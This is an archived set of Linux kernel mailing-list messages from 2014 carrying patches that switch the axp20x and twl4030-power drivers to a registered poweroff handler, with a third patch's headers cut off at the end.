Date: Mon,  6 Oct 2014 22:28:12 -0700
Lines: 90
Approved: news@gmane.org
Message-ID: <1412659726-29957-11-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659814 25953 80.91.229.3 (7 Oct 2014 05:30:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:14 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Lee Jones <l
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:04 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNLY-0002V2-8g
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:30:04 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753597AbaJGF34 (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:56 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40473 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753539AbaJGF3q (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:29:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=dEpznAkDNuwarjUTxY3qBjZxB4aEtytQWY3/s2Nrp8Y=;
	b=5PolFc5ltvszFWFWxinMYtDUjUM36l/ME1ZhOYPBTZ1W+XjG8XyrsNCu0RiNyMTyNquR+Q1KeMrm2IMzoswOjk2iPReHARZ4Oz36RWBWPzbTUWl5WYEexqzdzRG2S1ROh3TqhBCMQxPOyAHb2H8pWqqqLwHu7+4Na51hQXTj0sY=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLG-002bfg-7H
	for linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:29:46 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32905 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNKr-002aPm-12; Tue, 07 Oct 2014 05:29:21 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A4A.00B5,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 233
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-efi.vger.kernel.org>
X-Mailing-List: linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.efi:4719 gmane.linux.kernel:1802442 gmane.linux.drivers.devicetree:93032 gmane.linux.kernel.virtualization.lguest:1451 gmane.linux.acpi.devel:71265 gmane.linux.ports.alpha:2436 gmane.linux.ports.hexagon:783 gmane.linux.ports.ppc64.devel:105862 gmane.linux.ports.tegra:19465 gmane.linux.kernel.openipmi:2442 gmane.linux.uml.devel:14655 gmane.linux.ports.arm.kernel:362337 gmane.linux.ports.ia64:24472 gmane.linux.kernel.metag:303 gmane.linux.ports.mips.general:44153 gmane.linux.ports.parisc:6078 gmane.linux.power-management.general:50607 gmane.linux.ports.sh.devel:39776
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.efi/4719>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Cc: Lee Jones <lee.jones-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>
Cc: Samuel Ortiz <sameo-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>
Signed-off-by: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
---
 drivers/mfd/axp20x.c       | 30 +++++++++++++++++-------------
 include/linux/mfd/axp20x.h |  1 +
 2 files changed, 18 insertions(+), 13 deletions(-)

diff --git a/drivers/mfd/axp20x.c b/drivers/mfd/axp20x.c
index dee6539..238db4c 100644
--- a/drivers/mfd/axp20x.c
+++ b/drivers/mfd/axp20x.c
@@ -17,7 +17,8 @@
 #include <linux/interrupt.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
-#include <linux/pm_runtime.h>
+#include <linux/notifier.h>
+#include <linux/pm.h>
 #include <linux/regmap.h>
 #include <linux/slab.h>
 #include <linux/regulator/consumer.h>
@@ -161,11 +162,16 @@ static struct mfd_cell axp20x_cells[] = {
 	},
 };
 
-static struct axp20x_dev *axp20x_pm_power_off;
-static void axp20x_power_off(void)
+static int axp20x_power_off(struct notifier_block *this, unsigned long unused1,
+			    void *unused2)
+
 {
-	regmap_write(axp20x_pm_power_off->regmap, AXP20X_OFF_CTRL,
-		     AXP20X_OFF);
+	struct axp20x_dev *axp20x = container_of(this, struct axp20x_dev,
+						 poweroff_nb);
+
+	regmap_write(axp20x->regmap, AXP20X_OFF_CTRL, AXP20X_OFF);
+
+	return NOTIFY_DONE;
 }
 
 static int axp20x_i2c_probe(struct i2c_client *i2c,
@@ -215,10 +221,11 @@ static int axp20x_i2c_probe(struct i2c_client *i2c,
 		return ret;
 	}
 
-	if (!pm_power_off) {
-		axp20x_pm_power_off = axp20x;
-		pm_power_off = axp20x_power_off;
-	}
+	axp20x->poweroff_nb.notifier_call = axp20x_power_off;
+	axp20x->poweroff_nb.priority = 64;
+	ret = register_poweroff_handler(&axp20x->poweroff_nb);
+	if (ret)
+		dev_err(&i2c->dev, "failed to register poweroff handler\n");
 
 	dev_info(&i2c->dev, "AXP20X driver loaded\n");
 
@@ -229,10 +236,7 @@ static int axp20x_i2c_remove(struct i2c_client *i2c)
 {
 	struct axp20x_dev *axp20x = i2c_get_clientdata(i2c);
 
-	if (axp20x == axp20x_pm_power_off) {
-		axp20x_pm_power_off = NULL;
-		pm_power_off = NULL;
-	}
+	unregister_poweroff_handler(&axp20x->poweroff_nb);
 
 	mfd_remove_devices(axp20x->dev);
 	regmap_del_irq_chip(axp20x->i2c_client->irq, axp20x->regmap_irqc);
diff --git a/include/linux/mfd/axp20x.h b/include/linux/mfd/axp20x.h
index d0e31a2..8f23b39 100644
--- a/include/linux/mfd/axp20x.h
+++ b/include/linux/mfd/axp20x.h
@@ -175,6 +175,7 @@ struct axp20x_dev {
 	struct regmap			*regmap;
 	struct regmap_irq_chip_data	*regmap_irqc;
 	long				variant;
+	struct notifier_block		poweroff_nb;
 };
 
 #endif /* __LINUX_MFD_AXP20X_H */
-- 
1.9.1


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 18/44] mfd: twl4030-power: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:20 -0700
Lines: 110
Approved: news@gmane.org
Message-ID: <1412659726-29957-19-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659815 25968 80.91.229.3 (7 Oct 2014 05:30:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:15 +0000 (UTC)
Cc: adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Guenter Roeck <linux@roeck-us.net>,
	Samuel Ortiz
To: linux-kernel@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 07:30:06 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbNLY-0002V2-QL
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 07:30:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753549AbaJGF35 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:57 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40526 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753570AbaJGF3w (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 01:29:52 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=3/uDnzKkwzNsSiksMNXxFi6zTrcbJE9jH82ZnT7EV94=;
	b=ZcUhORLwAvPYytgCwN9Rel+43DSdDe97Sp8JAVjCwLdDIb3Tj3C/lFemM8CIIFLlBV9Zfd4Ewjp0UTLcF0t+f+4kcKvIaH5E6MRd7E9gBw/VCpxJYxUxgvoU9m6PewdK7vQmuTFlKVvb6i8GZ3xw1jnw5m5FAf98a4mlsrphUDc=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNLK-002c6B-Vk
	for linux-alpha@vger.kernel.org; Tue, 07 Oct 2014 05:29:51 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32913 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux@roeck-us.net>)
	id 1XbNL8-002bS5-PH; Tue, 07 Oct 2014 05:29:39 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020207.54337A4F.0072,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux@roeck-us.net
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 283
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2437 gmane.linux.kernel:1802443 gmane.linux.drivers.devicetree:93033 gmane.linux.kernel.virtualization.lguest:1452 gmane.linux.acpi.devel:71266 gmane.linux.kernel.efi:4720 gmane.linux.ports.hexagon:784 gmane.linux.ports.ppc64.devel:105863 gmane.linux.ports.tegra:19466 gmane.linux.kernel.openipmi:2443 gmane.linux.uml.devel:14656 gmane.linux.ports.arm.kernel:362338 gmane.linux.ports.ia64:24473 gmane.linux.kernel.metag:304 gmane.linux.ports.mips.general:44154 gmane.linux.ports.parisc:6079 gmane.linux.power-management.general:50608 gmane.linux.ports.sh.devel:39777
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2437>

Register with kernel poweroff handler instead of setting pm_power_off
directly. Register with a low priority value of 64 to reflect that
the original code only sets pm_power_off if it was not already set.

Make twl4030_power_off static as it is only called from the twl4030-power
driver.

Cc: Samuel Ortiz <sameo@linux.intel.com>
Cc: Lee Jones <lee.jones@linaro.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 drivers/mfd/twl4030-power.c | 25 +++++++++++++++++++++----
 include/linux/i2c/twl.h     |  1 -
 2 files changed, 21 insertions(+), 5 deletions(-)

diff --git a/drivers/mfd/twl4030-power.c b/drivers/mfd/twl4030-power.c
index 4d3ff37..bd6b830 100644
--- a/drivers/mfd/twl4030-power.c
+++ b/drivers/mfd/twl4030-power.c
@@ -25,9 +25,10 @@
  */
 
 #include <linux/module.h>
-#include <linux/pm.h>
+#include <linux/notifier.h>
 #include <linux/i2c/twl.h>
 #include <linux/platform_device.h>
+#include <linux/pm.h>
 #include <linux/of.h>
 #include <linux/of_device.h>
 
@@ -611,7 +612,8 @@ twl4030_power_configure_resources(const struct twl4030_power_data *pdata)
  * After a successful execution, TWL shuts down the power to the SoC
  * and all peripherals connected to it.
  */
-void twl4030_power_off(void)
+static int twl4030_power_off(struct notifier_block *this, unsigned long unused1,
+			     void *unused2)
 {
 	int err;
 
@@ -619,8 +621,15 @@ void twl4030_power_off(void)
 			       TWL4030_PM_MASTER_P1_SW_EVENTS);
 	if (err)
 		pr_err("TWL4030 Unable to power off\n");
+
+	return NOTIFY_DONE;
 }
 
+static struct notifier_block twl4030_poweroff_nb = {
+	.notifier_call = twl4030_power_off,
+	.priority = 64,
+};
+
 static bool twl4030_power_use_poweroff(const struct twl4030_power_data *pdata,
 					struct device_node *node)
 {
@@ -836,7 +845,7 @@ static int twl4030_power_probe(struct platform_device *pdev)
 	}
 
 	/* Board has to be wired properly to use this feature */
-	if (twl4030_power_use_poweroff(pdata, node) && !pm_power_off) {
+	if (twl4030_power_use_poweroff(pdata, node)) {
 		/* Default for SEQ_OFFSYNC is set, lets ensure this */
 		err = twl_i2c_read_u8(TWL_MODULE_PM_MASTER, &val,
 				      TWL4030_PM_MASTER_CFG_P123_TRANSITION);
@@ -853,7 +862,13 @@ static int twl4030_power_probe(struct platform_device *pdev)
 			}
 		}
 
-		pm_power_off = twl4030_power_off;
+		err = register_poweroff_handler(&twl4030_poweroff_nb);
+		if (err) {
+			dev_err(&pdev->dev,
+				"Failed to register poweroff handler\n");
+			/* Not a fatal error */
+			err = 0;
+		}
 	}
 
 relock:
@@ -869,6 +884,8 @@ relock:
 
 static int twl4030_power_remove(struct platform_device *pdev)
 {
+	unregister_poweroff_handler(&twl4030_poweroff_nb);
+
 	return 0;
 }
 
diff --git a/include/linux/i2c/twl.h b/include/linux/i2c/twl.h
index 8cfb50f..f8544f1 100644
--- a/include/linux/i2c/twl.h
+++ b/include/linux/i2c/twl.h
@@ -680,7 +680,6 @@ struct twl4030_power_data {
 };
 
 extern int twl4030_remove_script(u8 flags);
-extern void twl4030_power_off(void);
 
 struct twl4030_codec_data {
 	unsigned int digimic_delay; /* in ms */
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.efi,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: [PATCH 13/44] mfd: max8907: Register with kernel poweroff handler
Date: Mon,  6 Oct 2014 22:28:15 -0700
Lines: 97
Approved: news@gmane.org
Message-ID: <1412659726-29957-14-git-send-email-linux@roeck-us.net>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412659818 25994 80.91.229.3 (7 Oct 2014 05:30:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 05:30:18 +0000 (UTC)
Cc: adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	devel-gWbeCf7V1WCQmaza687I9mD2FQJk+8+b@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	lguest-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-acpi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-am33-list-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m32r-ja-rQhvJZKUsGBRYuoOT4C5/9i2O/JbrIOy@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-tegra-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	openipmi-developer-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	user-mode-linux-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org,
	Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Lee Jones <l
To: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue Oct 07 07:30:08 2014
Return-path: <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-efi-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1XbNLZ-0002V2-CB
	for glke-linux-efi-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 07 Oct 2014 07:30:05 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753611AbaJGF37 (ORCPT <rfc822;glke-linux-efi@m.gmane.org>);
	Tue, 7 Oct 2014 01:29:59 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:40471 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753535AbaJGF3q (ORCPT
	<rfc822;linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Tue, 7 Oct 2014 01:29:46 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From; bh=XiGL7rriIxkVjSu1qOtNwEjtQYI4T4k8WgA0o1WT57A=;
	b=JPyfqQIN1z69VLbamH9ycpPwizr5ez4gXEN0peFlftSIy4geaxJq/Jl7lcEhiJW+bKwC1+yvpStTgMsso+YZGcEBuo4B8GHfzzuDQ4DqZ23AkEbH3uy6cbkXacuZcX01k2sjevpIpSvbMoQqeVpxz/sMNsvOYCQXxeM9DAlSOR4=;
Original-Received: from mailnull by bh-25.webhostbox.net with sa-checked (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNLF-002bf8-VE
	for linux-efi-u79uwXL29TY76Z2rM5mHXA@public.gmane.org; Tue, 07 Oct 2014 05:29:46 +0000
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:32908 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.82)
	(envelope-from <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>)
	id 1XbNKx-002aYO-OF; Tue, 07 Oct 2014 05:29:28 +0000
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412659726-29957-1-git-send-email-linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
X-Authenticated_sender: guenter-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-OutGoing-Spam-Status: No, score=2.8
X-Spam-Checker-Version: spamc_ctasd client on
	localost
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=50.0 tests=SpamClass_Unknown,
	VirusClass_Unknown autolearn=disabled
	version=1.0.0
X-CTCH-PVer: 0000001
X-CTCH-Spam: Unknown
X-CTCH-VOD: Unknown
X-CTCH-Flags: 0
X-CTCH-RefID: str=0001.0A020202.54337A4A.0055,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
X-CTCH-Score: 0.000
X-CTCH-ScoreCust: 0.000
X-CTCH-Rules: 
X-CTCH-SenderID: linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org
X-CTCH-SenderID-Flags: 0
X-CTCH-SenderID-TotalMessages: 230
X-CTCH-SenderID-TotalSpam: 0
X-CTCH-SenderID-TotalSuspected: 0
X-CTCH-SenderID-TotalConfirmed: 0
X-CTCH-SenderID-TotalBulk: 0
X-CTCH-SenderID-TotalVirus: 0
X-CTCH-SenderID-TotalRecipients: 0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: mailgid no entry from get_relayhosts_entry
X-Source: 
X-Source-Args: 
X-Source-Dir: 
